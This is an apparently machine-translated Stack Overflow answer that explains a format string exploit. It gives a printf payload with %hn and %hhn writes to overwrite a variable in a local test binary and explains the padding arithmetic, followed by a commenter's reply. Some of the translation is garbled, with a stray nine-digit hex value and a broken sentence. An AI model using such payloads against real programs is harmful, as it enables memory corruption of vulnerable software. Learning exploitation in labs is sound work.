Celui-ci comprend le fractionnement de la valeur -1 (0xFFFFFFFFF
) dans le mot inférieur et supérieur (deux fois 0xFFFF
) et écrivant ces séparément à des adresses &a
et (void*)(&a)+2
:
./v4_2.out `printf "\xc4\x98\x04\x08\xc6\x98\x04\x08"`%65527x%7\$hn%8\$hn"
expliqué:
\xc4\x98\x04\x08 ... 0x080498c4, the address of a (lower two bytes)
\xc6\x98\x04\x08 ... 0x080498c6, the address of a (upper two bytes)
%65527x ... write 65527 extra bytes of garbage (eight have been written by now, so that makes 65535)
%7\$hn ... write the number of characters so far (65535 = 0xFFFF) to lower word of a
%8\$hn ... write the number of characters so far (65535 = 0xFFFF, it didn't change) to upper word of a
Le numéro 7 provient de votre commande précédente:
printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n
1^ 2^ 3^ 4^ 5^ 6^7^
et j'ai stocké une autre adresse, de sorte que s'empile une t position 8.
Cela produit encore beaucoup de sortie, vous pouvez aller un peu plus loin et écrire 0xFFFFFFFF
octet par octet. Il ressemblerait à ceci:
\xc4\x98\x04\x08 ... 0x080498c4, the first (low) byte of a
\xc5\x98\x04\x08 ... 0x080498c5, the second byte of a
\xc6\x98\x04\x08 ... 0x080498c6, the third byte of a
\xc7\x98\x04\x08 ... 0x080498c7, the fourth (high) byte of a
%239x ... write 239 extra bytes of garbage (16 have been written by now, so that makes 255)
%7\$hhn ... write the number of characters so far, as a byte (255 = 0xFF) to the first address above
%8\$hhn ... the same for the second
%9\$hhn ... the same for the third
%10\$hhn ... the same for the last
numéros autres que 0xFFFFFFFF
ont besoin d'une sortie supplémentaire entre chaque %hhn
. Vous devez calculer le nombre d'octets d'ordures à produire entre eux pour compenser les différences respectives. Si vous devez passer en dessous de la valeur précédente, utilisez le fait que seul un octet est écrit pour que l'arithmétique passe à modulo 256.
Bienvenue sur SO. Vous n'êtes pas très clair, ce que vous voulez réaliser. Votre titre concerne l'utilisation d'un spécificateur de format incorrect (% u vs -1). Votre question mentionne un exploit pour modifier une valeur. Les spécificateurs de format peuvent changer la sortie imprimée, mais ils ne changeront la valeur d'aucune variable. – Gerhardh